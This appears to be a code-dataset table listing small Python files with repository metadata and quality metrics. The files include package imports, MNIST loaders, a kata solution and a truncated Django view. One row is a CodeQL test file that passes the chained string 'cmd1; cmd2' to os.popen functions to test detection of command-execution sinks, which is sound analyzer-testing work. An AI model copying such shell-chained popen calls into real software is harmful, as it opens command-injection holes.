hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
fceac12585afae9e5a31f7ec57df0118128731ef | 22 | py | Python | apps/beatitud_annotate/models/__init__.py | beatitud/beatitud-back | 32de6c33ec5d70e35bf76c38bedc73c5b2c3e719 | [
"MIT"
] | null | null | null | apps/beatitud_annotate/models/__init__.py | beatitud/beatitud-back | 32de6c33ec5d70e35bf76c38bedc73c5b2c3e719 | [
"MIT"
] | null | null | null | apps/beatitud_annotate/models/__init__.py | beatitud/beatitud-back | 32de6c33ec5d70e35bf76c38bedc73c5b2c3e719 | [
"MIT"
] | null | null | null | from .vatican import * | 22 | 22 | 0.772727 | 3 | 22 | 5.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.136364 | 22 | 1 | 22 | 22 | 0.894737 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1e528a95ca2f907beb83b697be58e0b88ba04c8d | 179 | py | Python | resource/pypi/cffi-1.9.1/testing/cffi0/snippets/distutils_package_1/setup.py | hipnusleo/Laserjet | f53e0b740f48f2feb0c0bb285ec6728b313b4ccc | [
"Apache-2.0"
] | null | null | null | resource/pypi/cffi-1.9.1/testing/cffi0/snippets/distutils_package_1/setup.py | hipnusleo/Laserjet | f53e0b740f48f2feb0c0bb285ec6728b313b4ccc | [
"Apache-2.0"
] | null | null | null | resource/pypi/cffi-1.9.1/testing/cffi0/snippets/distutils_package_1/setup.py | hipnusleo/Laserjet | f53e0b740f48f2feb0c0bb285ec6728b313b4ccc | [
"Apache-2.0"
] | null | null | null |
from distutils.core import setup
import snip_basic_verify1
setup(
packages=['snip_basic_verify1'],
ext_modules=[snip_basic_verify1.ffi.verifier.get_extension()])
| 22.375 | 67 | 0.759777 | 23 | 179 | 5.565217 | 0.652174 | 0.210938 | 0.375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019608 | 0.145251 | 179 | 7 | 68 | 25.571429 | 0.816993 | 0 | 0 | 0 | 0 | 0 | 0.105263 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
1e61a9c93993a3dae67d333a409b794bb94d490c | 1,364 | py | Python | python/ql/test/experimental/library-tests/frameworks/stdlib-py2/SystemCommandExecution.py | vadi2/codeql | a806a4f08696d241ab295a286999251b56a6860c | [
"MIT"
] | 4,036 | 2020-04-29T00:09:57.000Z | 2022-03-31T14:16:38.000Z | python/ql/test/experimental/library-tests/frameworks/stdlib-py2/SystemCommandExecution.py | vadi2/codeql | a806a4f08696d241ab295a286999251b56a6860c | [
"MIT"
] | 2,970 | 2020-04-28T17:24:18.000Z | 2022-03-31T22:40:46.000Z | python/ql/test/library-tests/frameworks/stdlib-py2/SystemCommandExecution.py | ScriptBox99/github-codeql | 2ecf0d3264db8fb4904b2056964da469372a235c | [
"MIT"
] | 794 | 2020-04-29T00:28:25.000Z | 2022-03-30T08:21:46.000Z | ########################################
import os
os.popen2("cmd1; cmd2") # $getCommand="cmd1; cmd2"
os.popen3("cmd1; cmd2") # $getCommand="cmd1; cmd2"
os.popen4("cmd1; cmd2") # $getCommand="cmd1; cmd2"
os.popen2(cmd="cmd1; cmd2") # $getCommand="cmd1; cmd2"
os.popen3(cmd="cmd1; cmd2") # $getCommand="cmd1; cmd2... | 36.864865 | 72 | 0.624633 | 172 | 1,364 | 4.953488 | 0.180233 | 0.347418 | 0.380282 | 0.464789 | 0.778169 | 0.747653 | 0.700704 | 0.442488 | 0.442488 | 0.442488 | 0 | 0.087531 | 0.11217 | 1,364 | 36 | 73 | 37.888889 | 0.61602 | 0.431085 | 0 | 0 | 0 | 0 | 0.299213 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.136364 | 0 | 0.136364 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1ea9610fcb177e17bbcd7f60960cc77d957d6067 | 21 | py | Python | catkin_pi/catkin_ws/devel/lib/python2.7/dist-packages/docking/srv/__init__.py | henryplas/appstaterobotics | 017fe57d2deec1bd3b400bae83c16194dc874af6 | [
"MIT"
] | null | null | null | catkin_pi/catkin_ws/devel/lib/python2.7/dist-packages/docking/srv/__init__.py | henryplas/appstaterobotics | 017fe57d2deec1bd3b400bae83c16194dc874af6 | [
"MIT"
] | null | null | null | catkin_pi/catkin_ws/devel/lib/python2.7/dist-packages/docking/srv/__init__.py | henryplas/appstaterobotics | 017fe57d2deec1bd3b400bae83c16194dc874af6 | [
"MIT"
] | 1 | 2019-09-13T22:09:01.000Z | 2019-09-13T22:09:01.000Z | from ._Dock import *
| 10.5 | 20 | 0.714286 | 3 | 21 | 4.666667 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.190476 | 21 | 1 | 21 | 21 | 0.823529 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1eaaa385bf0c86fee47c83a568d33cb1ac30b3fd | 31 | py | Python | utils/__init__.py | lstomberg/BHNVGCBalanceChecker | 058d9a56e3c875f22176f96b46c9fd02529da600 | [
"Apache-2.0"
] | 1 | 2021-08-19T07:14:27.000Z | 2021-08-19T07:14:27.000Z | utils/__init__.py | lstomberg/BHNVGCBalanceChecker | 058d9a56e3c875f22176f96b46c9fd02529da600 | [
"Apache-2.0"
] | null | null | null | utils/__init__.py | lstomberg/BHNVGCBalanceChecker | 058d9a56e3c875f22176f96b46c9fd02529da600 | [
"Apache-2.0"
] | null | null | null | from cards import VisaGiftCard
| 15.5 | 30 | 0.870968 | 4 | 31 | 6.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 31 | 1 | 31 | 31 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
94a29ce6c09db23d0959fe59aaedd4ac4a0d5ada | 66 | py | Python | devel/lib/python2.7/dist-packages/warehouse/msg/__init__.py | frozaidi/RobotSystems | e2c2f9e1623c71d6f5889e84bd9b4ff1d2043a1e | [
"BSD-3-Clause"
] | null | null | null | devel/lib/python2.7/dist-packages/warehouse/msg/__init__.py | frozaidi/RobotSystems | e2c2f9e1623c71d6f5889e84bd9b4ff1d2043a1e | [
"BSD-3-Clause"
] | null | null | null | devel/lib/python2.7/dist-packages/warehouse/msg/__init__.py | frozaidi/RobotSystems | e2c2f9e1623c71d6f5889e84bd9b4ff1d2043a1e | [
"BSD-3-Clause"
] | null | null | null | from ._Grasp import *
from ._Pose import *
from ._Rotate import *
| 16.5 | 22 | 0.727273 | 9 | 66 | 5 | 0.555556 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.181818 | 66 | 3 | 23 | 22 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
94aad34992121b482f4b1321b3cf600642e7d327 | 35 | py | Python | cloud_provider/__init__.py | mridhul/minion-manager | 7301ac6360a82dfdd27e682d070c34e90f080149 | [
"Apache-2.0"
] | 54 | 2018-07-06T18:06:54.000Z | 2019-06-03T15:21:01.000Z | cloud_provider/__init__.py | mridhul/minion-manager | 7301ac6360a82dfdd27e682d070c34e90f080149 | [
"Apache-2.0"
] | 28 | 2018-07-05T23:32:22.000Z | 2019-07-19T17:19:26.000Z | cloud_provider/__init__.py | mridhul/minion-manager | 7301ac6360a82dfdd27e682d070c34e90f080149 | [
"Apache-2.0"
] | 15 | 2018-07-28T04:51:01.000Z | 2019-07-30T14:50:25.000Z | from base import MinionManagerBase
| 17.5 | 34 | 0.885714 | 4 | 35 | 7.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 35 | 1 | 35 | 35 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
bf55529015d36538f2755b8f6635f293c51ad596 | 64 | py | Python | 8_kyu/Grasshopper_Terminal_game_combat_function.py | UlrichBerntien/Codewars-Katas | bbd025e67aa352d313564d3862db19fffa39f552 | [
"MIT"
] | null | null | null | 8_kyu/Grasshopper_Terminal_game_combat_function.py | UlrichBerntien/Codewars-Katas | bbd025e67aa352d313564d3862db19fffa39f552 | [
"MIT"
] | null | null | null | 8_kyu/Grasshopper_Terminal_game_combat_function.py | UlrichBerntien/Codewars-Katas | bbd025e67aa352d313564d3862db19fffa39f552 | [
"MIT"
] | null | null | null | def combat(health, damage):
return max( health - damage, 0 ) | 32 | 36 | 0.671875 | 9 | 64 | 4.777778 | 0.777778 | 0.55814 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.019608 | 0.203125 | 64 | 2 | 36 | 32 | 0.823529 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
44a667e8d49d08590551417c45f0d3b76c2fe0aa | 33 | py | Python | dashtable/html2data/__init__.py | r-dgreen/DashTable | 744cfb6a717fa75a8092c83ebcd49b2668023681 | [
"MIT"
] | 35 | 2017-04-25T04:37:16.000Z | 2022-02-23T05:44:37.000Z | dashtable/html2data/__init__.py | r-dgreen/DashTable | 744cfb6a717fa75a8092c83ebcd49b2668023681 | [
"MIT"
] | 14 | 2016-12-11T12:00:48.000Z | 2021-06-13T06:52:09.000Z | dashtable/html2data/__init__.py | r-dgreen/DashTable | 744cfb6a717fa75a8092c83ebcd49b2668023681 | [
"MIT"
] | 11 | 2017-04-05T14:10:16.000Z | 2022-02-14T16:32:18.000Z | from .html2data import html2data
| 16.5 | 32 | 0.848485 | 4 | 33 | 7 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068966 | 0.121212 | 33 | 1 | 33 | 33 | 0.896552 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
7816c18f8b4a9710fb2c6701f796cd8122278c75 | 35 | py | Python | dalloriam/datahose/__init__.py | dalloriam/python-stdlib | 2ce4ebf4545e2ce9c74ef1f2735929f0202598b5 | [
"MIT"
] | null | null | null | dalloriam/datahose/__init__.py | dalloriam/python-stdlib | 2ce4ebf4545e2ce9c74ef1f2735929f0202598b5 | [
"MIT"
] | 2 | 2019-02-10T16:25:58.000Z | 2019-03-13T01:40:15.000Z | dalloriam/datahose/__init__.py | dalloriam/python-stdlib | 2ce4ebf4545e2ce9c74ef1f2735929f0202598b5 | [
"MIT"
] | null | null | null | from .client import DatahoseClient
| 17.5 | 34 | 0.857143 | 4 | 35 | 7.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 35 | 1 | 35 | 35 | 0.967742 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
785de91c887db0ab68ad3f34f6f0f2b1499c8b53 | 96 | py | Python | venv/lib/python3.8/site-packages/parso/parser.py | Retraces/UkraineBot | 3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71 | [
"MIT"
] | 2 | 2022-03-13T01:58:52.000Z | 2022-03-31T06:07:54.000Z | venv/lib/python3.8/site-packages/parso/parser.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | 19 | 2021-11-20T04:09:18.000Z | 2022-03-23T15:05:55.000Z | venv/lib/python3.8/site-packages/parso/parser.py | DesmoSearch/Desmobot | b70b45df3485351f471080deb5c785c4bc5c4beb | [
"MIT"
] | null | null | null | /home/runner/.cache/pip/pool/89/72/b1/9ee4c3aae6a7825bcf937a19e22b82cf2547862a0f25a536128cdec528 | 96 | 96 | 0.895833 | 9 | 96 | 9.555556 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.427083 | 0 | 96 | 1 | 96 | 96 | 0.46875 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
787dc6e8612b58e6a172216679307ae27b52baba | 1,271 | py | Python | MachineLearning/hw5/utils.py | ChoKyuWon/SchoolProjects | 71a5decefc85ae941ba2d537c4507ba8e615cc34 | [
"MIT"
] | null | null | null | MachineLearning/hw5/utils.py | ChoKyuWon/SchoolProjects | 71a5decefc85ae941ba2d537c4507ba8e615cc34 | [
"MIT"
] | null | null | null | MachineLearning/hw5/utils.py | ChoKyuWon/SchoolProjects | 71a5decefc85ae941ba2d537c4507ba8e615cc34 | [
"MIT"
] | null | null | null | import os
import numpy as np
def load_mnist(data_path):
mnist_path = os.path.join(data_path, 'mnist')
x_train = np.load(os.path.join(mnist_path, 'mnist_train_x.npy'))
y_train = np.load(os.path.join(mnist_path, 'mnist_train_y.npy'))
x_test = np.load(os.path.join(mnist_path, 'mnist_test_x.npy'))... | 35.305556 | 75 | 0.666404 | 239 | 1,271 | 3.238494 | 0.112971 | 0.139535 | 0.129199 | 0.124031 | 0.937985 | 0.937985 | 0.896641 | 0.896641 | 0.896641 | 0.896641 | 0 | 0.025121 | 0.185681 | 1,271 | 36 | 76 | 35.305556 | 0.722705 | 0.01967 | 0 | 0.333333 | 0 | 0 | 0.137304 | 0.074442 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.083333 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
7881a4bd5425466908e8e51dacf89eafbf735060 | 35 | py | Python | accounts/serializers/__init__.py | Selfnet/sipam | 32d7fde288cf7200cde170eadbd6b3541fa730fe | [
"Apache-2.0"
] | 2 | 2020-04-19T20:00:32.000Z | 2022-01-01T21:00:06.000Z | accounts/serializers/__init__.py | Selfnet/sipam | 32d7fde288cf7200cde170eadbd6b3541fa730fe | [
"Apache-2.0"
] | 7 | 2020-06-05T22:41:24.000Z | 2022-02-28T01:42:45.000Z | accounts/serializers/__init__.py | Selfnet/sipam | 32d7fde288cf7200cde170eadbd6b3541fa730fe | [
"Apache-2.0"
] | null | null | null | from .token import TokenSerializer
| 17.5 | 34 | 0.857143 | 4 | 35 | 7.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.114286 | 35 | 1 | 35 | 35 | 0.967742 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
78ca92432db90e33f0ebdf4b76897c1f34c64322 | 287 | py | Python | capsul/qt_gui/widgets/__init__.py | servoz/capsul | 2d72228c096f1c43ecfca7f3651b353dc35e209e | [
"CECILL-B"
] | null | null | null | capsul/qt_gui/widgets/__init__.py | servoz/capsul | 2d72228c096f1c43ecfca7f3651b353dc35e209e | [
"CECILL-B"
] | null | null | null | capsul/qt_gui/widgets/__init__.py | servoz/capsul | 2d72228c096f1c43ecfca7f3651b353dc35e209e | [
"CECILL-B"
] | null | null | null | # -*- coding: utf-8 -*-
from .pipeline_developper_view import PipelineDeveloperView
from .pipeline_user_view import PipelineUserView
from .links_debugger import CapsulLinkDebuggerView
# deprecated. Imported for compatibility
from .pipeline_developper_view import PipelineDevelopperView
| 35.875 | 60 | 0.853659 | 30 | 287 | 7.933333 | 0.633333 | 0.151261 | 0.184874 | 0.218487 | 0.268908 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003846 | 0.094077 | 287 | 7 | 61 | 41 | 0.911538 | 0.209059 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
15499829413e42cba8104416aba688cb1c1e30ad | 66 | py | Python | depsland/setup/bat_2_exe/__init__.py | likianta/depsland | 94a8ed7f8a1d3e8e5baafeb2329e30266b52c037 | [
"MIT"
] | null | null | null | depsland/setup/bat_2_exe/__init__.py | likianta/depsland | 94a8ed7f8a1d3e8e5baafeb2329e30266b52c037 | [
"MIT"
] | null | null | null | depsland/setup/bat_2_exe/__init__.py | likianta/depsland | 94a8ed7f8a1d3e8e5baafeb2329e30266b52c037 | [
"MIT"
] | null | null | null | from .bat_2_exe import bat_2_exe
from .png_2_ico import png_2_ico
| 22 | 32 | 0.848485 | 16 | 66 | 3 | 0.4375 | 0.166667 | 0.291667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068966 | 0.121212 | 66 | 2 | 33 | 33 | 0.758621 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
15669e3d04568cf20244d2756537d5f5f53ade6c | 1,265 | py | Python | presalytics_story/models/__init__.py | presalytics/story-python-client | 48ac7830b85d65b94a9f6bbfc0c7ee8344327084 | [
"MIT"
] | null | null | null | presalytics_story/models/__init__.py | presalytics/story-python-client | 48ac7830b85d65b94a9f6bbfc0c7ee8344327084 | [
"MIT"
] | null | null | null | presalytics_story/models/__init__.py | presalytics/story-python-client | 48ac7830b85d65b94a9f6bbfc0c7ee8344327084 | [
"MIT"
] | null | null | null | # coding: utf-8
# flake8: noqa
"""
Communcations
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
The version of the OpenAPI document: 0.1
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
... | 42.166667 | 124 | 0.864032 | 158 | 1,265 | 6.664557 | 0.35443 | 0.185185 | 0.246914 | 0.320988 | 0.376068 | 0.317189 | 0.08547 | 0 | 0 | 0 | 0 | 0.006087 | 0.090909 | 1,265 | 29 | 125 | 43.62069 | 0.909565 | 0.223715 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1597772c6e83854d8ef1f4215a80a3bead638cb2 | 14,489 | py | Python | app/decaf_views.py | aroranipun04/CloudCV-Old | c17f5be8a221532c77d413b6afc6bd0be5e4f788 | [
"MIT"
] | 11 | 2016-02-29T21:12:58.000Z | 2016-07-06T22:29:22.000Z | app/decaf_views.py | aroranipun04/CloudCV-Old | c17f5be8a221532c77d413b6afc6bd0be5e4f788 | [
"MIT"
] | 9 | 2016-03-04T15:51:34.000Z | 2016-05-29T10:28:02.000Z | app/decaf_views.py | aroranipun04/CloudCV-Old | c17f5be8a221532c77d413b6afc6bd0be5e4f788 | [
"MIT"
] | 16 | 2016-02-23T03:22:02.000Z | 2016-07-09T18:46:34.000Z | __author__ = 'dexter'
from os.path import splitext, basename
from urlparse import urlparse
from querystring_parser import parser
from PIL import Image
from django.views.generic import CreateView
from django.views.decorators.csrf import csrf_exempt
from app.models import Picture, Decaf, Decafmodel
